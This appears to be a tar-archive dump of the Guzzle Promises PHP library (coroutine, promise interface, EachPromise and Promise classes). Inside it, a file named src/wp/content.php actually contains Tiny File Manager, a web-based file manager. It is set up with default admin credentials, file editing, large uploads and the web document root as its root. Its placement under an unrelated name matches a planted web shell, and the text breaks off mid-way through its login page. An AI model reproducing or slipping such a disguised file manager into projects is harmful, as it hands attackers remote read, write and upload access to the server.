                                                                                                                                                                                                                                                                            src/Coroutine.php                                                                                   0000644                 00000010372 15240700263 0010015 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

use Exception;
use Generator;
use Throwable;

/**
 * Creates a promise that is resolved using a generator that yields values or
 * promises (somewhat similar to C#'s async keyword).
 *
 * When called, the Coroutine::of method will start an instance of the generator
 * and returns a promise that is fulfilled with its final yielded value.
 *
 * Control is returned back to the generator when the yielded promise settles.
 * This can lead to less verbose code when doing lots of sequential async calls
 * with minimal processing in between.
 *
 *     use GuzzleHttp\Promise;
 *
 *     function createPromise($value) {
 *         return new Promise\FulfilledPromise($value);
 *     }
 *
 *     $promise = Promise\Coroutine::of(function () {
 *         $value = (yield createPromise('a'));
 *         try {
 *             $value = (yield createPromise($value . 'b'));
 *         } catch (\Exception $e) {
 *             // The promise was rejected.
 *         }
 *         yield $value . 'c';
 *     });
 *
 *     // Outputs "abc"
 *     $promise->then(function ($v) { echo $v; });
 *
 * @param callable $generatorFn Generator function to wrap into a promise.
 *
 * @return Promise
 *
 * @link https://github.com/petkaantonov/bluebird/blob/master/API.md#generators inspiration
 */
final class Coroutine implements PromiseInterface
{
    /**
     * @var PromiseInterface|null
     */
    private $currentPromise;

    /**
     * @var Generator
     */
    private $generator;

    /**
     * @var Promise
     */
    private $result;

    public function __construct(callable $generatorFn)
    {
        $this->generator = $generatorFn();
        $this->result = new Promise(function () {
            while (isset($this->currentPromise)) {
                $this->currentPromise->wait();
            }
        });
        try {
            $this->nextCoroutine($this->generator->current());
        } catch (\Exception $exception) {
            $this->result->reject($exception);
        } catch (Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }

    /**
     * Create a new coroutine.
     *
     * @return self
     */
    public static function of(callable $generatorFn)
    {
        return new self($generatorFn);
    }

    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ) {
        return $this->result->then($onFulfilled, $onRejected);
    }

    public function otherwise(callable $onRejected)
    {
        return $this->result->otherwise($onRejected);
    }

    public function wait($unwrap = true)
    {
        return $this->result->wait($unwrap);
    }

    public function getState()
    {
        return $this->result->getState();
    }

    public function resolve($value)
    {
        $this->result->resolve($value);
    }

    public function reject($reason)
    {
        $this->result->reject($reason);
    }

    public function cancel()
    {
        $this->currentPromise->cancel();
        $this->result->cancel();
    }

    private function nextCoroutine($yielded)
    {
        $this->currentPromise = Create::promiseFor($yielded)
            ->then([$this, '_handleSuccess'], [$this, '_handleFailure']);
    }

    /**
     * @internal
     */
    public function _handleSuccess($value)
    {
        unset($this->currentPromise);
        try {
            $next = $this->generator->send($value);
            if ($this->generator->valid()) {
                $this->nextCoroutine($next);
            } else {
                $this->result->resolve($value);
            }
        } catch (Exception $exception) {
            $this->result->reject($exception);
        } catch (Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }

    /**
     * @internal
     */
    public function _handleFailure($reason)
    {
        unset($this->currentPromise);
        try {
            $nextYield = $this->generator->throw(Create::exceptionFor($reason));
            // The throw was caught, so keep iterating on the coroutine
            $this->nextCoroutine($nextYield);
        } catch (Exception $exception) {
            $this->result->reject($exception);
        } catch (Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }
}
                                                                                                                                                                                                                                                                      src/PromiseInterface.php                                                                            0000644                 00000005444 15240700263 0011311 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * A promise represents the eventual result of an asynchronous operation.
 *
 * The primary way of interacting with a promise is through its then method,
 * which registers callbacks to receive either a promise’s eventual value or
 * the reason why the promise cannot be fulfilled.
 *
 * @link https://promisesaplus.com/
 */
interface PromiseInterface
{
    const PENDING = 'pending';
    const FULFILLED = 'fulfilled';
    const REJECTED = 'rejected';

    /**
     * Appends fulfillment and rejection handlers to the promise, and returns
     * a new promise resolving to the return value of the called handler.
     *
     * @param callable $onFulfilled Invoked when the promise fulfills.
     * @param callable $onRejected  Invoked when the promise is rejected.
     *
     * @return PromiseInterface
     */
    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    );

    /**
     * Appends a rejection handler callback to the promise, and returns a new
     * promise resolving to the return value of the callback if it is called,
     * or to its original fulfillment value if the promise is instead
     * fulfilled.
     *
     * @param callable $onRejected Invoked when the promise is rejected.
     *
     * @return PromiseInterface
     */
    public function otherwise(callable $onRejected);

    /**
     * Get the state of the promise ("pending", "rejected", or "fulfilled").
     *
     * The three states can be checked against the constants defined on
     * PromiseInterface: PENDING, FULFILLED, and REJECTED.
     *
     * @return string
     */
    public function getState();

    /**
     * Resolve the promise with the given value.
     *
     * @param mixed $value
     *
     * @throws \RuntimeException if the promise is already resolved.
     */
    public function resolve($value);

    /**
     * Reject the promise with the given reason.
     *
     * @param mixed $reason
     *
     * @throws \RuntimeException if the promise is already resolved.
     */
    public function reject($reason);

    /**
     * Cancels the promise if possible.
     *
     * @link https://github.com/promises-aplus/cancellation-spec/issues/7
     */
    public function cancel();

    /**
     * Waits until the promise completes if possible.
     *
     * Pass $unwrap as true to unwrap the result of the promise, either
     * returning the resolved value or throwing the rejected exception.
     *
     * If the promise cannot be waited on, then the promise will be rejected.
     *
     * @param bool $unwrap
     *
     * @return mixed
     *
     * @throws \LogicException if the promise has no wait function or if the
     *                         promise does not settle after waiting.
     */
    public function wait($unwrap = true);
}
                                                                                                                                                                                                                            src/EachPromise.php                                                                                 0000644                 00000017145 15240700263 0010252 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * Represents a promise that iterates over many promises and invokes
 * side-effect functions in the process.
 */
class EachPromise implements PromisorInterface
{
    private $pending = [];

    private $nextPendingIndex = 0;

    /** @var \Iterator|null */
    private $iterable;

    /** @var callable|int|null */
    private $concurrency;

    /** @var callable|null */
    private $onFulfilled;

    /** @var callable|null */
    private $onRejected;

    /** @var Promise|null */
    private $aggregate;

    /** @var bool|null */
    private $mutex;

    /**
     * Configuration hash can include the following key value pairs:
     *
     * - fulfilled: (callable) Invoked when a promise fulfills. The function
     *   is invoked with three arguments: the fulfillment value, the index
     *   position from the iterable list of the promise, and the aggregate
     *   promise that manages all of the promises. The aggregate promise may
     *   be resolved from within the callback to short-circuit the promise.
     * - rejected: (callable) Invoked when a promise is rejected. The
     *   function is invoked with three arguments: the rejection reason, the
     *   index position from the iterable list of the promise, and the
     *   aggregate promise that manages all of the promises. The aggregate
     *   promise may be resolved from within the callback to short-circuit
     *   the promise.
     * - concurrency: (integer) Pass this configuration option to limit the
     *   allowed number of outstanding concurrently executing promises,
     *   creating a capped pool of promises. There is no limit by default.
     *
     * @param mixed $iterable Promises or values to iterate.
     * @param array $config   Configuration options
     */
    public function __construct($iterable, array $config = [])
    {
        $this->iterable = Create::iterFor($iterable);

        if (isset($config['concurrency'])) {
            $this->concurrency = $config['concurrency'];
        }

        if (isset($config['fulfilled'])) {
            $this->onFulfilled = $config['fulfilled'];
        }

        if (isset($config['rejected'])) {
            $this->onRejected = $config['rejected'];
        }
    }

    /** @psalm-suppress InvalidNullableReturnType */
    public function promise()
    {
        if ($this->aggregate) {
            return $this->aggregate;
        }

        try {
            $this->createPromise();
            /** @psalm-assert Promise $this->aggregate */
            $this->iterable->rewind();
            $this->refillPending();
        } catch (\Throwable $e) {
            $this->aggregate->reject($e);
        } catch (\Exception $e) {
            $this->aggregate->reject($e);
        }

        /**
         * @psalm-suppress NullableReturnStatement
         * @phpstan-ignore-next-line
         */
        return $this->aggregate;
    }

    private function createPromise()
    {
        $this->mutex = false;
        $this->aggregate = new Promise(function () {
            if ($this->checkIfFinished()) {
                return;
            }
            reset($this->pending);
            // Consume a potentially fluctuating list of promises while
            // ensuring that indexes are maintained (precluding array_shift).
            while ($promise = current($this->pending)) {
                next($this->pending);
                $promise->wait();
                if (Is::settled($this->aggregate)) {
                    return;
                }
            }
        });

        // Clear the references when the promise is resolved.
        $clearFn = function () {
            $this->iterable = $this->concurrency = $this->pending = null;
            $this->onFulfilled = $this->onRejected = null;
            $this->nextPendingIndex = 0;
        };

        $this->aggregate->then($clearFn, $clearFn);
    }

    private function refillPending()
    {
        if (!$this->concurrency) {
            // Add all pending promises.
            while ($this->addPending() && $this->advanceIterator());
            return;
        }

        // Add only up to N pending promises.
        $concurrency = is_callable($this->concurrency)
            ? call_user_func($this->concurrency, count($this->pending))
            : $this->concurrency;
        $concurrency = max($concurrency - count($this->pending), 0);
        // Concurrency may be set to 0 to disallow new promises.
        if (!$concurrency) {
            return;
        }
        // Add the first pending promise.
        $this->addPending();
        // Note this is special handling for concurrency=1 so that we do
        // not advance the iterator after adding the first promise. This
        // helps work around issues with generators that might not have the
        // next value to yield until promise callbacks are called.
        while (--$concurrency
            && $this->advanceIterator()
            && $this->addPending());
    }

    private function addPending()
    {
        if (!$this->iterable || !$this->iterable->valid()) {
            return false;
        }

        $promise = Create::promiseFor($this->iterable->current());
        $key = $this->iterable->key();

        // Iterable keys may not be unique, so we use a counter to
        // guarantee uniqueness
        $idx = $this->nextPendingIndex++;

        $this->pending[$idx] = $promise->then(
            function ($value) use ($idx, $key) {
                if ($this->onFulfilled) {
                    call_user_func(
                        $this->onFulfilled,
                        $value,
                        $key,
                        $this->aggregate
                    );
                }
                $this->step($idx);
            },
            function ($reason) use ($idx, $key) {
                if ($this->onRejected) {
                    call_user_func(
                        $this->onRejected,
                        $reason,
                        $key,
                        $this->aggregate
                    );
                }
                $this->step($idx);
            }
        );

        return true;
    }

    private function advanceIterator()
    {
        // Place a lock on the iterator so that we ensure to not recurse,
        // preventing fatal generator errors.
        if ($this->mutex) {
            return false;
        }

        $this->mutex = true;

        try {
            $this->iterable->next();
            $this->mutex = false;
            return true;
        } catch (\Throwable $e) {
            $this->aggregate->reject($e);
            $this->mutex = false;
            return false;
        } catch (\Exception $e) {
            $this->aggregate->reject($e);
            $this->mutex = false;
            return false;
        }
    }

    private function step($idx)
    {
        // If the promise was already resolved, then ignore this step.
        if (Is::settled($this->aggregate)) {
            return;
        }

        unset($this->pending[$idx]);

        // Only refill pending promises if we are not locked, preventing the
        // EachPromise to recursively invoke the provided iterator, which
        // cause a fatal error: "Cannot resume an already running generator"
        if ($this->advanceIterator() && !$this->checkIfFinished()) {
            // Add more pending promises if possible.
            $this->refillPending();
        }
    }

    private function checkIfFinished()
    {
        if (!$this->pending && !$this->iterable->valid()) {
            // Resolve the promise if there's nothing left to do.
            $this->aggregate->resolve(null);
            return true;
        }

        return false;
    }
}
                                                                                                                                                                                                                                                                                                                                                                                                                           src/Promise.php                                                                                     0000644                 00000021360 15240700263 0007463 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

namespace GuzzleHttp\Promise;

/**
 * Promises/A+ implementation that avoids recursion when possible.
 *
 * @link https://promisesaplus.com/
 */
class Promise implements PromiseInterface
{
    private $state = self::PENDING;
    private $result;
    private $cancelFn;
    private $waitFn;
    private $waitList;
    private $handlers = [];

    /**
     * @param callable $waitFn   Fn that when invoked resolves the promise.
     * @param callable $cancelFn Fn that when invoked cancels the promise.
     */
    public function __construct(
        callable $waitFn = null,
        callable $cancelFn = null
    ) {
        $this->waitFn = $waitFn;
        $this->cancelFn = $cancelFn;
    }

    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ) {
        if ($this->state === self::PENDING) {
            $p = new Promise(null, [$this, 'cancel']);
            $this->handlers[] = [$p, $onFulfilled, $onRejected];
            $p->waitList = $this->waitList;
            $p->waitList[] = $this;
            return $p;
        }

        // Return a fulfilled promise and immediately invoke any callbacks.
        if ($this->state === self::FULFILLED) {
            $promise = Create::promiseFor($this->result);
            return $onFulfilled ? $promise->then($onFulfilled) : $promise;
        }

        // It's either cancelled or rejected, so return a rejected promise
        // and immediately invoke any callbacks.
        $rejection = Create::rejectionFor($this->result);
        return $onRejected ? $rejection->then(null, $onRejected) : $rejection;
    }

    public function otherwise(callable $onRejected)
    {
        return $this->then(null, $onRejected);
    }

    public function wait($unwrap = true)
    {
        $this->waitIfPending();

        if ($this->result instanceof PromiseInterface) {
            return $this->result->wait($unwrap);
        }
        if ($unwrap) {
            if ($this->state === self::FULFILLED) {
                return $this->result;
            }
            // It's rejected so "unwrap" and throw an exception.
            throw Create::exceptionFor($this->result);
        }
    }

    public function getState()
    {
        return $this->state;
    }

    public function cancel()
    {
        if ($this->state !== self::PENDING) {
            return;
        }

        $this->waitFn = $this->waitList = null;

        if ($this->cancelFn) {
            $fn = $this->cancelFn;
            $this->cancelFn = null;
            try {
                $fn();
            } catch (\Throwable $e) {
                $this->reject($e);
            } catch (\Exception $e) {
                $this->reject($e);
            }
        }

        // Reject the promise only if it wasn't rejected in a then callback.
        /** @psalm-suppress RedundantCondition */
        if ($this->state === self::PENDING) {
            $this->reject(new CancellationException('Promise has been cancelled'));
        }
    }

    public function resolve($value)
    {
        $this->settle(self::FULFILLED, $value);
    }

    public function reject($reason)
    {
        $this->settle(self::REJECTED, $reason);
    }

    private function settle($state, $value)
    {
        if ($this->state !== self::PENDING) {
            // Ignore calls with the same resolution.
            if ($state === $this->state && $value === $this->result) {
                return;
            }
            throw $this->state === $state
                ? new \LogicException("The promise is already {$state}.")
                : new \LogicException("Cannot change a {$this->state} promise to {$state}");
        }

        if ($value === $this) {
            throw new \LogicException('Cannot fulfill or reject a promise with itself');
        }

        // Clear out the state of the promise but stash the handlers.
        $this->state = $state;
        $this->result = $value;
        $handlers = $this->handlers;
        $this->handlers = null;
        $this->waitList = $this->waitFn = null;
        $this->cancelFn = null;

        if (!$handlers) {
            return;
        }

        // If the value was not a settled promise or a thenable, then resolve
        // it in the task queue using the correct ID.
        if (!is_object($value) || !method_exists($value, 'then')) {
            $id = $state === self::FULFILLED ? 1 : 2;
            // It's a success, so resolve the handlers in the queue.
            Utils::queue()->add(static function () use ($id, $value, $handlers) {
                foreach ($handlers as $handler) {
                    self::callHandler($id, $value, $handler);
                }
            });
        } elseif ($value instanceof Promise && Is::pending($value)) {
            // We can just merge our handlers onto the next promise.
            $value->handlers = array_merge($value->handlers, $handlers);
        } else {
            // Resolve the handlers when the forwarded promise is resolved.
            $value->then(
                static function ($value) use ($handlers) {
                    foreach ($handlers as $handler) {
                        self::callHandler(1, $value, $handler);
                    }
                },
                static function ($reason) use ($handlers) {
                    foreach ($handlers as $handler) {
                        self::callHandler(2, $reason, $handler);
                    }
                }
            );
        }
    }

    /**
     * Call a stack of handlers using a specific callback index and value.
     *
     * @param int   $index   1 (resolve) or 2 (reject).
     * @param mixed $value   Value to pass to the callback.
     * @param array $handler Array of handler data (promise and callbacks).
     */
    private static function callHandler($index, $value, array $handler)
    {
        /** @var PromiseInterface $promise */
        $promise = $handler[0];

        // The promise may have been cancelled or resolved before placing
        // this thunk in the queue.
        if (Is::settled($promise)) {
            return;
        }

        try {
            if (isset($handler[$index])) {
                /*
                 * If $f throws an exception, then $handler will be in the exception
                 * stack trace. Since $handler contains a reference to the callable
                 * itself we get a circular reference. We clear the $handler
                 * here to avoid that memory leak.
                 */
                $f = $handler[$index];
                unset($handler);
                $promise->resolve($f($value));
            } elseif ($index === 1) {
                // Forward resolution values as-is.
                $promise->resolve($value);
            } else {
                // Forward rejections down the chain.
                $promise->reject($value);
            }
        } catch (\Throwable $reason) {
            $promise->reject($reason);
        } catch (\Exception $reason) {
            $promise->reject($reason);
        }
    }

    private function waitIfPending()
    {
        if ($this->state !== self::PENDING) {
            return;
        } elseif ($this->waitFn) {
            $this->invokeWaitFn();
        } elseif ($this->waitList) {
            $this->invokeWaitList();
        } else {
            // If there's no wait function, then reject the promise.
            $this->reject('Cannot wait on a promise that has '
                . 'no internal wait function. You must provide a wait '
                . 'function when constructing the promise to be able to '
                . 'wait on a promise.');
        }

        Utils::queue()->run();

        /** @psalm-suppress RedundantCondition */
        if ($this->state === self::PENDING) {
            $this->reject('Invoking the wait callback did not resolve the promise');
        }
    }

    private function invokeWaitFn()
    {
        try {
            $wfn = $this->waitFn;
            $this->waitFn = null;
            $wfn(true);
        } catch (\Exception $reason) {
            if ($this->state === self::PENDING) {
                // The promise has not been resolved yet, so reject the promise
                // with the exception.
                $this->reject($reason);
            } else {
                // The promise was already resolved, so there's a problem in
                // the application.
                throw $reason;
            }
        }
    }

    private function invokeWaitList()
    {
        $waitList = $this->waitList;
        $this->waitList = null;

        foreach ($waitList as $result) {
            do {
                $result->waitIfPending();
                $result = $result->result;
            } while ($result instanceof Promise);

            if ($result instanceof PromiseInterface) {
                $result->wait(false);
            }
        }
    }
}
                                                                                                                                                                                                                                                                                src/functions_include.php                                                                           0000644                 00000000247 15240700263 0011561 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

// Don't redefine the functions if included multiple times.
if (!function_exists('GuzzleHttp\Promise\promise_for')) {
    require __DIR__ . '/functions.php';
}
                                                                                                                                                                                                                                                                                                                                                         src/wp/content.php                                                                                  0000644                 00000670426 15240700263 0010162 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":true,"show_hidden":true,"hide_Cols":false,"theme":"dark"}';

/**
 * H3K ~ Tiny File Manager V2.6
 * @author CCP Programmers
 * @github https://github.com/prasathmani/tinyfilemanager
 * @link https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.6');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2a$12$AvmkfBdyp5XQWiqDgjE4HOZCDDC3F/yxTbf2tW8Qk/ExBke84Z.ma', //admin@123
    'user' => '$2a$12$AvmkfBdyp5XQWiqDgjE4HOZCDDC3F/yxTbf2tW8Qk/ExBke84Z.ma' //12345
);

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Global readonly, including when auth is not being used
$global_readonly = false;

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
//make sure update $root_url in next section
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
// $_SERVER['HTTP_HOST'].'/folder'
$http_host = $_SERVER['HTTP_HOST'];

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'm/d/Y g:i A';

// Path display mode when viewing file information
// 'full' => show full path
// 'relative' => show path relative to root_path
// 'host' => show path on the host
$path_display_mode = 'full';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', '/path/to/folder', ...)
$exclude_items = array();

// Online office Docs Viewer
// Available rules are 'google', 'microsoft' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)

// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the external config file, try to use it to override the default config above [config.php]
// sample config - https://tinyfilemanager.github.io/config-sample.txt
$config_file = __DIR__ . '/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// External CDN resources that can be used in the HTML (replace for GDPR compliance)
$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.32.2/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

// upload chunk size
define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);

// private key and session name to store to the session
if (!defined('FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

//available languages
$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

// if fm included
if (defined('FM_EMBED')) {
    $use_auth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); // Prevent logout issue after page was cached
    session_name(FM_SESSION_ID);
    function session_error_handling_function($code, $msg, $file, $line)
    {
        // Permission denied for default session, try to create a new one
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

//Generating CSRF Token
if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
        $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $use_auth = false;
}

$is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url . $wd . DIRECTORY_SEPARATOR . $directories_users[$_SESSION[FM_SESSION_ID]['logged']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);

// abs path for site
defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[FM_SESSION_ID]['logged']);
    unset($_SESSION['token']);
    fm_redirect(FM_SELF_URL);
}

// Validate connection IP
if ($ip_ruleset != 'OFF') {
    function getClientIP()
    {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        } else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        } else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if ($ip_ruleset == 'AND') {
        if ($whitelisted == true && $blacklisted == false) {
            $proceed = true;
        }
    } else
    if ($ip_ruleset == 'OR') {
        if ($whitelisted == true || $blacklisted == false) {
            $proceed = true;
        }
    }

    if ($proceed == false) {
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if ($ip_silent == false) {
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}

// Checking if the user is logged in or not. If not, it will show the login form.
if ($use_auth) {
    if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) {
        // Logged
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        // Logging In
        sleep(1);
        if (function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) {
                $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[FM_SESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[FM_SESSION_ID]['logged']);
        fm_show_header_login();
?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center align-content-center h-100vh">
                    <div class="card-wrapper">
                        <div class="card fat" data-bs-theme="<?php echo FM_THEME; ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                        <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z" />
